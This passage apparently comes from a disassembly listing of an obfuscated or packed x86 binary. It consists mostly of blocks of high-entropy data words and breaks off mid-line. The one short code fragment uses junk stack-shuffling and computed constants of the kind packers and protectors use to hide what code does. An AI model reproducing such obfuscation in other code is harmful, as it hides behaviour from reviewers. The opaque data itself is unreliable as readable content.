373181C1h, 592FC25Bh dd 5624048Bh, 0C681E689h, 4, 8704C683h, 0FF5C2434h, 835F2434h dd 0B0E904C4h, 71FFF960h, 7C7D52E2h, 11598741h, 0BB52E8AFh dd 1E5AB864h, 0C5030625h, 979AE0FFh, 0BC7B642Fh, 8D4719B4h dd 74DA0474h, 0CC4B0808h, 0B31697Bh, 725E1021h, 0E9D6716h dd 0AC5C073Bh, 0DF1274B8h, 0F0DF1316h, 483E73BBh, 437708Ch dd 93ED6237h, 9A7A7819h, 197E5344h, 6F9C0EF5h, 0E16C2C01h dd 44B96337h, 21E52AD3h, 11D90EBAh, 3511446Dh, 0E32F1874h dd 5D3B3941h, 38325D0Dh, 27A82535h, 0B6874360h, 0E8862E34h dd 0F0FB6169h, 4EB4E71h, 2CBBFED5h, 542E9h, 0A855EE00h dd 0D1901833h, 0F6BF415Ch, 1EC76681h, 44E98EA9h, 919C8ECFh dd 0B9D449ECh, 0DCF76C29h, 722975Ah, 4848BD64h, 0F24E96ACh dd 53083F49h, 0F6A97E15h, 87C22238h, 4F943F4Ah, 8B66C5D2h dd 0F07324DCh, 7E974F31h, 868534F9h, 0ACC73CE1h, 4BEE9009h dd 718A4224h, 87482ACBh, 8F56D9D8h, 0CD9414ADh, 0B6CF67EBh dd 3DC06F36h, 3A245F7h, 2EF3738Eh, 55189EB9h, 8D48DA73h dd 0FD6566Fh, 54107E60h, 47F6BB3Bh, 2ACC7EC4h, 0D26A7A90h dd 0A7EC3924h, 0A3496280h, 0BF620302h, 0FD809B10h, 25BC5234h dd 0B33924D3h, 829B6CB2h, 945537FEh, 0D42B29E5h, 5AE481C5h dd 2E000000h, 1331F073h, 0D31FC5DBh, 0F2373924h, 17CB6143h dd 0B03924D3h, 4D14930Eh, 8AB4426h, 4DEC8769h, 40412D07h dd 0D48D8BFAh, 14681C5h, 90000000h, 0E2CF573h, 0D324C0D6h dd 0ED323924h, 8BA45C3Eh, 0A26345ECh, 0AD74F4F3h, 0EA8B32CBh dd 41878408h, 0D348E98Fh, 0F76C35B8h, 2FF27323h, 0FA7C954Dh dd 4BBB4BE1h, 0C9F089B0h, 812726E7h, 8E3DFEE0h, 6648E98Fh dd 882E47E5h, 934203E5h, 9718CA10h, 0BF425DD2h, 0F97B14F6h dd 6EA65638h, 5C42036h, 4D923925h, 66D51B9Eh, 81C59F78h dd 7731h, 0F2737B00h, 0C7849FD9h, 0FB22624Eh, 35FC8019h dd 8CD2CF53h, 1B9055DAh, 0D9104AE1h, 9A9F14F8h, 0A64BECEBh dd 0E58C2BC4h dd 70B65303h, 0C4FB1301h, 81E5681h, 39259FDCh, 0DE86357Ah dd 6Bh, 0D9F27328h, 2CA62340h, 2D4B723Dh, 0AECC9514h, 25D14C98h dd 16C50A39h, 561B9B34h, 89FD974h, 754DF8CDh, 0F97C2BE8h dd 0B97C01B3h, 974D639Bh, 0BF39254Ch, 8256CB7Ah, 4A2CF573h dd 0A0445A92h, 0C3924D2h, 24D2EEF6h, 0AF236839h, 22BFBB6Ah dd 0B63924D3h, 18CCE21Ah, 3E3924D3h, 81C74AF9h, 0C5D41412h dd 1CD81h, 73170000h, 0B54E30F1h, 23917332h, 660ABC02h dd 0E10AA1BFh, 1D20298Ch, 0DA3D6A66h, 0BEE50457h, 7ABF9A0Fh dd 0FBF8EC02h, 225E3924h, 24FBD80Ch, 12397E39h, 26B7CDEBh dd 223F4304h, 2A43FBDDh, 3BFCDE87h, 4BEA8D8Ch, 7938BBD6h dd 0F8BD425Bh, 11D16749h, 0B63306F4h, 0F38C6E37h, 4ECFB170h dd 2A2B054Bh, 1093458Bh, 3EC1DC51h, 46DD9577h, 327C228Ch dd 0B88704A4h, 0C4031236h, 680B0AB9h, 1828BCD2h, 0E92E3307h dd 0ED8BA4C2h, 0D199B1EEh, 6E95D957h, 3A1CCB8Ch, 0BE70B6B9h dd 0C55C7A3Bh, 9DEC389Eh, 0A34443C2h, 0AC5B1CFEh, 59615F37h dd 521A87E3h, 64000001h, 0CFED86B3h, 3BFA7E97h, 0D3D4259h dd 1967430Dh, 824743F2h, 9E3F4383h, 5BDE7759h, 0D8CD9944h dd 73222C2h, 72EF3433h, 84AB59E5h, 90152E66h, 0F613D1CDh dd 83993306h, 3306F561h, 0F73CB0F5h, 35B8D348h, 164E6Ch dd 3306F5E4h, 882E2D72h, 0BB5436E5h, 16977938h, 981BCD13h dd 8E8C64D9h, 4787E3B1h, 4Dh, 0FA8AB391h, 24D300E4h, 0EA115639h dd 7031B3CCh, 0A78DA3C1h, 4F3924D2h, 5292280Ah, 0B03924D2h dd 0B77AFB14h, 0CD3F8508h, 0F0B13370h, 8264D0Eh, 628298D0h dd 0F43924D1h, 300400AFh, 0C63924D2h, 0B9D20C81h, 0D1BF6E37h dd 9Dh, 0F686B39Fh, 24D304E0h, 0BD2A4939h, 69D58720h, 6B89B0F5h dd 0CDF99C33h, 2B5A9559h, 0B75807Ch, 0C7033F43h, 6DD33B1h dd 8C882333h, 43010C49h, 775980A7h, 611CA6BFh, 7130B3B2h dd 975EE1FCh, 95C01FB5h, 60FF3307h, 1CC5681Ah, 34B0C6FEh dd 22330794h, 97BE6705h, 0A19873E8h, 0C09CB2D0h, 0DC392CB3h dd 0D3823FC3h, 9F381A5Fh, 0DA73551Ch, 15AE9055h, 88EACC91h dd 0EC8F4187h, 294A1E45h, 76F912E3h, 7542A2B8h, 0CF142CE2h dd 5605C6A8h, 0B3D1A297h, 794BF9Dh, 0CD428733h, 0ED86B3F9h dd 0F2A3B9CFh, 0E0F93F49h, 75E99859h, 0B3C12339h, 509532FFh dd 0BAE4729h, 57DAF56Ah, 0F9D9708Eh, 765B719Eh, 0AA4022D1h dd 5D9E32C7h, 3EF03633h, 6A85FABBh, 0FDA046C7h, 263C5A1Bh dd 8607BBEh, 0E2C5398h, 0CAAC71F5h, 0EE958C09h, 0FAFB76F5h dd 29D0694Bh, 1738A688h, 366900D1h, 640D54B2h, 2A5A453h dd 6099E20Dh, 0D7FE1E60h, 6C0F2862h, 0CC646E6Fh, 668D25CBh dd 1514C384h, 39F1D392h, 0F8DA9F20h, 39A8837h, 68000000h dd 0EE73A77Fh, 35B85133h, 4DF18A6Ch, 952DC6A8h, 0C86D06E8h dd 5AA4325h, 46E57E60h, 8024BD9Fh, 0C666FFE1h, 56003D1Fh dd 0C681E689h, 4, 8704EE83h, 248B2434h, 26DD6824h, 1C890000h dd 2EF16824h, 2C890000h, 7B85024h, 2D56B752h, 648755A1h dd 231FBF57h, 0F80113F5h, 58C3895Fh, 4EC81h, 24890000h dd 24048124h, 4, 42B8685Dh, 1C890000h, 8458F24h, 56242C8Bh dd 0C681E689h, 4, 4C681h, 34870000h, 34FF5C24h, 0C4815B24h dd 4, 0F95ADEE9h, 6FBFDDFFh, 0B8E801DEh, 6252447h, 0E0FFC503h dd 2891B473h, 594602B0h, 1F04DA93h, 5A2B8193h, 2B001604h dd 32D5EB2Eh, 69F62724h, 63F64B6Eh, 784EDF1Ch, 3A23000Dh dd 7C9B2B6Bh, 36FE940Eh, 6663B516h, 1EBFEB50h, 2DCA90B9h dd 55848541h, 41F86DAh, 59E3C245h, 6EA356BEh, 628C9F2Ch dd 3CE9261Bh, 6BA8268Ch, 3A0DC09Dh, 7A6F8272h, 290A5E11h dd 19D1BE72h, 224F92DDh, 377351E1h, 9916854h, 0EDE9h, 8C666000h dd 0F04A8D8h, 0DF84h, 45B58B00h, 83061E1Eh, 850F00FEh dd 22h, 204185C6h, 6845061Eh, 8E726969h, 2F1B5FFh, 858D061Eh dd 62178D1h, 8589D0FFh, 61E1375h, 3E80F08Bh, 31850FE9h dd 8D000000h, 236A0885h, 8BD0FF06h, 1E227DBDh, 84C78106h dd 8B000011h, 1E1E45B5h, 0B9F78706h, 8, 0B58BA4F3h, 61E1E45h dd 242F858Dh, 0D0FF0622h, 2981B58Bh, 0FE83061Eh, 22850F00h dd 0C6000000h, 1E204185h, 0F4685406h, 0FFFF4EBEh, 1E02F1B5h dd 0D1858D06h, 0FF062178h, 818589D0h, 8B061E29h, 0E93E80F0h dd 3A850Fh, 0B58B0000h, 61E2981h, 6A08858Dh, 0D0FF0623h dd 227DBD8Bh, 0C781061Eh, 1184h, 8B08C783h, 1E2981B5h dd 0B9F78706h, 8, 0B58BA4F3h, 61E2981h, 242F858Dh, 0D0FF0622h dd 858DC361h, 6252549h, 273D8589h, 8D8D061Eh, 62526DEh dd 0FE9h, 0C41A2400h, 0C1D60BD8h, 0CE5E306Ah, 0DF1934D9h dd 23758D89h, 6A061Eh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 180424h, 53430000h, 0D65A81C3h, 76BA5C72h, 0C7078C54h dd 1E324D85h, 711406h, 0C38B6600h, 6985C7F8h, 61E31h, 6A000000h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 17042444h dd 43000000h, 0AC2DC353h, 0BA663DC3h, 0B5FF4F63h, 61E327Dh dd 2ADF8166h, 0B995FFE0h, 66061E16h, 6AD1EBBAh, 0C195FF00h dd 8B061E26h, 2E0EEBC0h, 6855AF74h, 3B60D229h, 3DC3AC2Dh dd 0B304EB8Ah, 0E956760Ah, 0DF2h, 2528A568h, 5899E906h dd 0D968FFF9h, 0E9062529h, 0FFF9588Fh, 252BC568h, 5885E906h dd 0B068FFF9h, 0E906252Ch, 0FFF9587Bh, 2530B168h, 5871E906h dd 3F68FFF9h, 0E9062532h, 0FFF95867h, 25334E68h, 585DE906h dd 9031FFF9h, 0D75570E5h, 0FA7E990Eh, 0CABC63Bh, 50D5F065h dd 0E5D7188Dh, 1B9055DAh, 42B76200h, 6DE28727h, 9106AF52h dd 5DFF591h, 513F49FAh, 0BD54C49Ch, 1C904992h, 2423D203h dd 65FEE081h, 8A94BC2h, 5C3E6526h, 9C7E23C3h, 15C70D2Eh dd 435ED392h, 6F8AFFA2h, 0AA4325CCh, 93516707h, 38392542h dd 4F10F2B7h, 0FA6F96DBh, 0FC811A1Fh, 6F965739h, 601E3B51h dd 5223F43h, 1ADBBD60h, 0AED59C1Bh, 24AA36CCh, 65023307h dd 7EB2B01Fh, 4B6B87E3h, 0B5000000h, 0DE061C54h, 783924D2h dd 74C58433h, 12A9E1FFh, 1DD613AEh, 0F8F4A378h, 3F437F0Dh dd 0F28468Bh, 3416C56Ch, 5B9AE57Ch, 78FAA6E8h, 4F13CDC9h dd 0FC993307h, 584947B6h, 0D30287E3h, 0E6000000h, 0A5872ECDh dd 9EC56C0Ch, 0F07337EFh, 31B64F31h, 4EF18A6Ch, 892CC5A7h dd 645B73E8h, 1D3924D7h, 4B66DB9Ah, 54EB09A8h, 0DCE2ECB6h dd 4E6482E1h, 39246596h, 0EACC7BC0h, 0ADCBA891h, 6E501194h dd 0AA8C51D5h, 0B145C2E9h, 2818A160h, 0B1C7E594h, 3F42B118h dd 734EC308h, 798FADC6h, 392742A1h, 15CFE521h, 412CE5EAh dd 9EB7D5FCh, 0A22EFE19h, 6646E75Eh, 0E6069450h, 567DC22Ch dd 1E9FBA2Fh, 4326995Bh, 0EEF0EC2Ah, 0B8566h, 8835CE00h dd 0B170F813h, 0D69F213Ch, 0FEA74661h, 24C96E89h, 717C6EAFh dd 99B429CCh, 0BCD74C09h, 0E702773Ah, 28289D44h, 0FA6E768Ch dd 33E83F49h, 2FF2735Bh, 0C56780BAh, 0CA793A1Ch, 0AB128CBh dd 0A1C8896Bh, 86B3582Ch, 4CB9CFEDh, 0A23F42FEh, 0E4A0660Bh dd 0BD6C80AAh, 0CDE60449h, 0F9DB8A2Bh, 0E1802841h dd 938F3EFFh, 3306B34Dh, 0AB7CC25Fh, 5E663214h, 885E3BFh dd 3E614BE9h, 37F3A2AAh, 87E48239h, 0F5F2h, 0F0733C00h dd 76FA1331h, 78B6CDAFh, 0F43CE84Eh, 97ADCBF2h, 39254C4Dh dd 3315C409h, 0B5AC437Bh, 578ED5B0h, 590ED6D2h, 3483925h dd 0DD05554h, 9C52D6EFh, 25585E86h, 8CB3F839h, 5A65FBDDh dd 2739255Dh, 4D68DD84h, 0EFB233AAh, 0AC8DE6C8h, 35C6C571h dd 0BFE6DBA2h, 603E8BA1h, 1F383F43h, 0B125D49Dh, 26BDF76Ch dd 0BB9EAFBEh, 0F0F40A43h, 66330704h, 8C4BFA21h, 6EA6C4ADh dd 2B0DD055h, 4ABFBB6Ah, 563927AEh, 0FF1B439h, 6B34F4Eh dd 7A8C1DFh, 5B8F556Bh, 82C72CE6h, 2ACBE65Bh, 9894C587h dd 3C3EEC2Ah, 0A51B4h, 4C099A00h, 753CBCD7h, 0A243E500h dd 0CA6B122Dh, 0F0B53A55h, 3D483A7Bh, 6580F5B8h, 90AB20DDh dd 0BBD64BEEh, 4047938h, 0FB925268h, 0FC43F49h, 0BC3B5437h dd 0A64746F5h, 0F0738E03h, 0F00ED759h, 24D30ADAh, 0E0074C39h dd 0F073976Bh, 33B64F31h, 0FBE5FD72h, 0C83924D2h, 0EC077C25h dd 718AA849h, 9A7C2BCAh, 0D5B77E01h, 15F7BA3Ch, 2E44E67Ch dd 3924D2B6h, 52345BA0h, 0F8D218B7h, 0F7C80E11h, 0EB9A5BDEh dd 33A849ECh, 0C5D45D5Bh, 991681h, 0B3600000h, 97CFED86h dd 2A3465Fh, 24D2DE06h, 263C7839h, 3924D2BEh, 7D2C5398h dd 42F41081h, 3705A03Fh, 4FCD97E6h, 64FADC03h, 3305F07Ch dd 0DE4D9330h, 87E4B2E0h, 5E99h, 6B76E300h, 9A3924D2h dd 9EB4D29Fh, 3F42D59Bh, 90AB2065h, 0F684AEFh, 152B492Ah dd 3924EE10h, 0F30E83C8h, 73CCAE73h, 44A0B6C6h, 682CE8B4h dd 0E8B39252h, 0B7FC42Ch, 0C4A64FEEh, 97B5DC03h, 3A2465Fh dd 3E20DE86h, 7322BC5Ch, 67CA677h, 68DD2233h, 5E45Eh, 0AADC600h dd 0B304BC6Bh, 0CE971586h, 0E6042BECh, 41EB17AEh, 0DF757B9Fh dd 3CB90AF7h, 9CB2E3D7h, 3924F848h, 0F3A2C90Eh, 43049EF7h dd 0F3D51A3Fh, 0FE9F223Bh, 12D3B578h, 994809EBh, 6EB439Dh dd 86CC6933h, 0E3B81917h, 597D287h, 0D81C0000h, 0E390A99Eh dd 0F372AFC5h, 0C35E3F42h, 6D116C11h, 0F07473EAh, 678E4F31h dd 16C8F78Dh, 40F9DCCBh, 0F219D85Bh, 0E7B3BED4h, 78BD8F5Eh dd 26C5DE96h, 7E6001A7h, 28E796BDh, 2C426011h, 8943FB85h dd 0C1932AC1h, 5A7E3C3h, 7F9DE256h, 0BB128FE8h, 0F5A461D4h dd 7A3BBED7h, 27A2435Ch, 3AFBDD84h, 71703113h, 844527CEh dd 0A24560D5h, 0F32A4103h, 0A2A43C45h, 8651Ah, 6815AE00h dd 9150D8F3h, 0B67F011Ch, 0DE872641h, 4A94E69h, 515C4E8Fh dd 799409ACh, 9CB72CE9h, 0C7E2571Ah, 8087D24h, 0FD8E566Ch dd 13C83F49h, 18BD543Bh, 0A53F557Bh, 0B13925CEh, 0FD76EF6Ch dd 290BAA52h, 93924168h, 166F5110h, 31EC7623h, 0A3D6EC0Ah dd 333F4320h, 24D3921Ah, 344D6BB0h, 5F7AEFB2h, 0C4FC1ADFh dd 6E236AEh, 2CDB2033h, 0E230B44Ah, 429E3306h, 0C13306F2h dd 0E1802378h, 0F9173EFFh, 25054EE3h, 7B5DA239h, 0E89EFBE5h dd 0CE14B12Ch, 208615Fh, 321A8Eh, 0B3640000h, 0B9CFED86h dd 3F42F55Ch, 567BC15Ch, 22E99EDBh, 486119FBh, 31AFCA5h dd 9A279DDBh, 701F4620h, 1882h, 2BD1EA00h, 886A0BB2h, 39F1A0C7h dd 0CFED86B3h, 42E1ECB9h, 0C5A7EC3Fh, 31F07373h, 690FF66Fh dd 6EF6F8F8h, 77Ah, 0E833EC3h, 37AC75F3h, 64D9981Ch, 8E03A249h dd 0BA2FF273h, 0FB7C8779h, 1CA6C136h, 2DD1EC61h, 75F81388h dd 9B3737ACh, 49FE5F85h, 6A42F73Fh, 0CFED86B3h, 0D2638197h dd 79EA3924h, 434791F1h, 0CDCC1185h, 0E8A98B2Ah, 0CAE31B39h dd 0D7D38223h, 3F42EF92h, 0EFA789CEh, 0AD8F56D6h, 0BB3E3DECh dd 0F7D99C22h, 0E2021836h, 743306D6h, 7B93082Fh, 5A5210E6h dd 3A5088C0h, 0BBB9BAAh, 796B67ACh, 0DD0BBB9Bh, 132AE998h dd 4CA9405Eh, 41F0A4Ch, 3734B0C6h, 0DD220BBBh, 0B79207B6h dd 35839B82h, 9981D7FFh, 0BD3B5472h, 0AED59C1Ch, 3E5C0BCCh dd 0D9DC7D28h, 34165B11h, 1DC4637Ch, 0D6FD7A3Bh, 6FE45404h dd 3CBCBB6Ah, 5F7C687Eh, 3FDA059Dh, 0DE80A79Ah, 325980CCh dd 0C457E2BDh, 0D9D07C50h, 0A19A1723h, 0F1C0C9BEh, 5F97B5DCh dd 5403A246h, 0BB81D958h, 0D0546D0Bh, 0A9EE6211h, 33780FC7h dd 31F95724h, 0C3A54CEFh, 302CDB02h, 0FF7F9DB0h, 0EBCD9413h dd 2608AD52h, 0A37DC3C4h, 0BB3C558Dh, 0A45314F6h, 0F10ADB21h dd 4C5A74Eh, 59B9955h, 5054BB6Bh, 9E000001h, 0E39786B3h dd 7A55872Ah, 9ED6F41Bh, 0C945066h, 7DC23925h, 1997D2CEh dd 84C93F43h, 0BF6609A2h, 0E58C2F4Ah, 3AF46D03h, 0E9E65A52h dd 0A74EF1A3h, 0D461F832h, 0F51B1251h, 802322D1h, 0F869FFE1h dd 0F8330673h, 5CDF91D7h, 62052095h, 0B088E1C3h, 190CA3C1h dd 0E25779E3h, 20587625h, 4A9AB0E8h, 0CE47037h, 3719CBC7h dd 0F83DE470h, 36B74D49h, 0A3DFE470h, 7036578Dh, 93BAFFE4h dd 18D95C75h, 158B559Bh, 0E8978F51h, 0D0A19873h, 96599CB2h dd 3D75EA8Eh, 5247BD27h, 0F97C99DEh, 0EE621138h, 3D538BA9h dd 0DE5247A7h, 0D9BB6AAFh, 0D6F4BD40h, 927439BDh, 0D0B273F9h dd 0C439E80Fh, 7D5F06A9h, 524815E7h, 9C41E6DEh, 0D99C21BAh dd 77BD5CF7h, 62A8C99Dh, 388FA91h, 20687EC0h, 26CF7271h dd 0A0ED99B1h, 0DB6252A6h, 581F38BEh, 0ED5F02D6h, 3AAFD6FDh dd 23246900h, 8729BBD1h, 0E82D69FEh, 954E036Bh, 9D44E7E6h dd 0B2CB03BBh, 796B670Eh, 0DD69FEC1h, 997B3EC0h, 7D93B1D8h dd 69FEC167h, 0FFFBAAEFh, 0F0466895h, 0B668AEABh, 0C3FD7233h dd 1A6F758Bh, 0A2E7E3B7h, 0B071F4F3h, 0AFC475CEh, 1EB27B91h dd 0F136E9D5h, 5A727Ch, 0B3400000h, 9D6C9786h, 0E123DB1Eh dd 8F869CBAh, 293F43BDh, 0BBD1690Ch, 33077929h, 0DFC1E82Dh dd 7C15F71Eh, 27C035FCh, 56ED19FCh, 7AA21772h, 0C2813098h dd 0C7DDFB76h, 3307AC25h, 0B7CD0541h, 3307AC2Dh, 0FCE8E429h dd 5A3307ABh, 0B7D0EE15h, 0CE8F7130h, 0C5DEFC1Fh, 16CE7D20h dd 4F44BD54h, 0E2994B61h, 78BD3924h, 0B97A27FBh, 0F1680B0Ah dd 6C7A94Ch, 17306ADFh, 2AEBCD94h, 0F47DBC7Bh, 0FA99C0D6h dd 0CA73F43h, 0A46080F0h, 0D5F31AABh, 2773ABCh, 0C0A247E7h dd 94AAD267h, 33074050h, 0A243E906h, 0B1D8FFC0h, 5EFC7D93h dd 0A2DA3925h, 0C71F7B0Bh, 0A5A19EFFh, 2CE97F3Fh, 0AF23D217h dd 0FE144C6Ah, 2CE97EE6h, 8B2C2B70h, 9D5537E6h, 6143FE84h dd 0EBF5F1A0h, 182CE98Eh, 1C325021h, 3307A215h, 5F7896DBh dd 753618D9h, 924EE4C6h, 3126CB3Bh, 6F08EA8Bh, 9AC52CFh dd 5D3F6627h, 0DAB4FAFBh, 72E127C4h, 941F6B74h, 2B2Dh dd 0BD547700h, 531BE31h, 734ECB27h, 55C0D3B4h, 2712D180h dd 2726CF72h, 4001E386h, 30E5FB19h, 883F43CCh, 2ED96143h dd 0A7000000h, 0F9B83B54h, 0E8A75617h, 0CA022051h, 0ED8C11B1h dd 726E1D44h, 3F42E133h, 0BB7164FBh, 4426D36Fh, 71090683h dd 8FAC20CFh, 402249E8h, 0BA3B54EEh, 0A64948F7h, 103A3DFFh dd 9294F869h, 3790Ah, 7421C200h, 9D44E4FFh, 0CA6B0D28h dd 0F2B33A55h, 18DD627Dh, 657062A3h, 8DA81DC0h, 0B8D348F5h dd 0E3FE7336h, 2C2CA140h, 26A7A90h, 37EC3F4Ah, 31F0735Fh dd 7233B64Fh, 0DE061C54h, 783924D2h, 0EE15DC5Bh, 4AEFCA3Fh dd 64F50B29h, 323F42F0h, 0B600E4FAh, 11563306h dd 0C7A9EE62h, 6B5AF31h, 1A60FD33h, 0E8893049h, 0B630B4CAh dd 0E1263306h, 0ED787632h, 5C3187E3h, 7B000000h, 931586B3h dd 2238F0D2h, 3924D2C2h, 1284F94h, 0F4284CE3h, 0FEC7E028h dd 0EA1B314Fh, 0AE3F438Eh, 0EFF18769h, 0D4330738h, 94AB8D54h dd 0B3617501h, 0E58A8976h, 23C55E40h, 52989B82h, 932A6278h dd 0B0B4FFC6h, 261B9008h, 2E9158D5h, 579D20CFh, 0E2D6EAE8h dd 0F2A387h, 73ED0000h, 0DB1331F0h, 55A30544h, 2A2673A2h dd 3925C7BAh, 55C96C11h, 0C77F6110h, 0C76B798Fh, 0A6EB3925h dd 0B277F8F7h, 7FFF18D0h, 6817D8BAh, 3D1FC669h, 92D8EE85h dd 442C9A28h, 52139695h, 0D5FAC5DDh, 0E4873925h, 1E881F3Dh dd 0A6B56AC6h, 0CD077C2Bh, 87657F95h, 0ACF13925h, 0BA7BFEFDh dd 65E4839Ch, 7F4022C3h, 97B57658h, 25876381h, 0FFAEF339h dd 0FC75C41Dh, 9531C8DEh, 0A4F3F43h, 0F27FBA95h, 7A27BBD4h dd 0DE75ADCBh, 0DF902E50h, 10D4EA4Eh, 463307C2h, 2F2BDA01h dd 39286E52h, 0A3DBF93Eh, 8E3DF88Ah, 0D64BEE8Fh, 0B5773ABBh dd 0EC2B51BCh, 0EB7C0406h, 34000001h, 627DF2AFh, 8BA61BDAh dd 0B8D348E9h, 0E0FB7031h, 0E4259A5Fh, 0A346E7F2h, 0D28F132Eh dd 0F9BC425Dh, 1FC66984h, 0F80EAAAAh, 3F4A04ECh, 73DDB56Ah dd 9FBA2FF2h, 0CE0551Ch, 2E15BD54h, 0D24F1293h, 47F6BE78h dd 45E8B188h, 4157759Ch, 3F437CC4h, 0EC71112Ah, 1C2A44Dh dd 1CB72BDAh, 8BBD5ECDh, 0CCEA1150h, 8E7031B3h, 0A63C1ECDh dd 3307A43Ah, 208FD572h, 87E30322h, 0CD172D65h, 0FE330797h dd 14D5B77Eh, 4AC5BA0h, 0CEh, 59F0734Eh, 793113D2h, 24D28163h dd 6990D539h, 26C76042h, 3D640DABh, 0D7FAC55Bh, 0E4873924h dd 758EC83Dh, 905133F2h, 965FE2E1h, 95DE5BB4h, 0DA986177h dd 0ACE83F42h, 6C14E96h, 4DEB0833h, 0DA01C2A4h, 0D6633EB3h dd 2E477F9Dh, 3935E489h, 392769E9h, 0EF86A4E9h, 0BED625B4h dd 586F1EABh, 0A8EE481Fh, 9BB4D281h, 9A4A601Ah, 0BC2CE651h dd 0C0DB5077h, 0CBB87A3Fh, 13EC2A8Eh, 0DC8911h, 9C250000h dd 0AB516CE1h, 0F67A950Ah, 189FBA2Fh, 24C9E459h, 0D9CB0C81h dd 0F8429CEh, 3EB36EF4h, 69DE8323h, 950AAB4Eh, 1E3F995h dd 553F4A06h, 0F273C8A0h, 77F8112Fh, 0B09253DAh, 0A419C8EFh dd 213FE689h, 1069B88Ah, 11C07FFEh, 0F073C89Ch, 33B64F31h dd 1722FD72h, 9F233C5Ah, 903F00E2h, 9D213A72h, 3635F6D8h dd 4642F1ACh, 3F49F98Dh, 21A30CA7h, 280EE1Fh, 6F85BDDBh dd 32FFCE75h, 0BED9CE1h, 0B126CF72h, 0F47A1396h, 70280A31h dd 2E10D157h, 0C6C2BE6Dh, 6283530Eh, 0CA6D1F65h, 189BB62Bh dd 5FDE7759h, 2546B496h, 0EB8A2DDFh, 657F95CDh, 0F1E2AC8Fh dd 6D88FDACh, 0C61E34CAh, 90E2AC8Fh, 0CD172D4Bh, 89E2AC8Fh dd 0B33B1D44h, 0Ah, 0BB3B5481h, 0A45314F6h, 0EE73D9B1h dd 35B85133h, 4DF18A6Ch, 952DC6A8h, 0C86D06E8h, 5AA4325h dd 46E57E60h, 8024BD9Fh, 0C666FFE1h, 68003D1Fh, 6085h db 89h, 2Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ecx push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], edi push ebp mov ebp, 1F21AFAh not ebp shr ebp, 7 shl ebp, 3 push ebx mov ebx, 9C5F912h xor ebp, ebx pop ebx mov ecx, ebp pop ebp sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop edi sub esp, 4 mov [esp], ecx pop dword ptr [edi+8] mov edi, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp mov ecx, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp jmp loc_536D7B ; --------------------------------------------------------------------------- db 0BAh dd 0AE88C8B1h, 0AC8F6917h, 9FE6F6A5h, 4FB806CDh, 3062534h dd 3EE0FFC5h, 3C7CB881h, 3126AF0Fh, 0E950BF5Ch, 0E346FDC5h dd 7501A6B7h, 704C1277h, 1A250808h, 0B83B4D93h, 0EB71EDFFh dd 611EA204h, 550E915h, 0B44D0000h, 0F3799409h, 1EA2BD32h dd 20C7E257h, 4CF10C81h, 1F334A9h, 37AC71F6h, 66DB861Ch dd 9106AB4Bh, 0BD32F376h, 0D90B21BDh, 7D3F4A07h, 0CC718AC8h dd 87864729h, 0A06143E6h, 0F07339F1h, 31B64F31h, 59DCF76Ch dd 9A1DB698h, 6F85BDDBh, 3924D275h, 0BED9CE1h, 0BED5CA72h dd 9AFA2CD4h, 763C786h, 486FCEB1h, 0BEBB3F21h, 8223C678h dd 0A94CF20Dh, 0D0951934h, 10CD55EEh, 8E57D9F2h, 5A3CEBACh dd 0D385CBECh, 0FE198E53h, 42D8BA7Bh, 3925409Fh, 66058026h dd 1DB698BFh, 5EF9DB9Ah, 27C779BFh, 0B8DFA082h, 1685CBCCh dd 81C56618h, 54D1h, 0F0731B00h, 7E974F31h, 908C3BFAh dd 3924D252h, 0D2418788h, 81C5D5D4h, 18Dh, 0F573D700h dd 0DAB8D354h, 0BCE44E25h, 0F0B193BAh, 5D73ABC9h, 39253287h dd 0F9DB8ACFh, 0FB19D860h, 9D3A2D64h, 0D4836B3Dh, 13D259F2h dd 6AB0AD31h, 0FC7130B8h, 22975EE1h, 2FF2734Eh, 6D34B44Dh dd 0F2B3364Fh, 0DDE06143h, 8ADC697h, 13C28365h, 0B0CE9314h dd 0D2826278h, 8FD43924h, 0AD506BE0h, 0E7892204h, 0D2B33147h dd 0E3F93924h, 3924D301h, 609C1055h, 24D29A4Ah, 5077BC39h dd 0FA974729h, 0D25745B4h, 629A81C5h, 24C8984Ch, 0CA79BE39h dd 9322h, 0F2736C00h, 30B44D2Fh, 0D280647Ah, 91D63924h dd 704886Ah, 0CB6E0FC1h, 0F7BA3B56h, 0A5445D15h, 0AF4E4DFCh dd 0E98B2406h, 2ECD6648h, 1637A587h, 0A8E0F6D0h, 9A49E88Fh dd 7462D117h, 2D81C5D2h, 67h, 2FF27377h, 6F32B44Dh, 0FBB73851h dd 24D2FFE5h, 0EB125739h, 7A48F209h, 8CE112B0h, 3BD4B665h dd 7C15F7BAh, 0A61BE3F8h, 274EB967h, 0BBBC1E00h, 0FB9A9B75h dd 0C34DE4B5h, 31FE43E4h, 5C05A3A2h, 6409AEADh, 138A2D46h dd 2DEED091h, 0EE25706h, 4A2CF573h, 24D32DB4h, 64AAAB39h dd 0C5D4F7F5h, 1B081h, 73FA0000h, 964E30F1h, 5638E57Dh dd 44E7E695h, 2C4DBB9Dh, 0F1B034E6h, 0DB98A17Ch, 0D66C85BDh dd 5D807C2Bh, 0EB3F42DAh, 882BC4A6h, 7D93CBE9h, 3306CA67h dd 0DABAAEFh, 2540B564h, 0C76A0B82h, 7862CEE5h, 0D56157E2h dd 0EDA587AEh, 37B950D4h, 0A4CB8C6Eh, 0D2E9F9F5h, 3DDC3305h dd 0D68F26F7h, 66C2B49Bh, 0BE670504h, 0C46D100Fh, 18B1344Fh dd 0C3A5CC95h, 0FCDE872Ah, 6132787Bh, 69D11329h, 40853306h dd 46EF9291h, 3DFBF9D1h, 253E87E4h, 3AFBDD80h, 12F4BD3Bh dd 3FFAA251h, 44000001h, 0F9B83B54h, 0D0575617h, 0BF6E2F11h dd 1A383900h, 42EFC504h, 34165B3Fh, 3B59189Bh, 27D69F22h dd 4D1497B2h, 0D392162Fh, 718A4224h, 0F00624D1h, 3306B5F4h dd 6F6E1D62h, 0C24325CCh, 0C8690B24h, 0B286D84Bh, 0CD7C813Eh dd 0AF52044Ah, 0BBB99106h, 7487E3DCh, 46h, 0F18AB3BEh dd 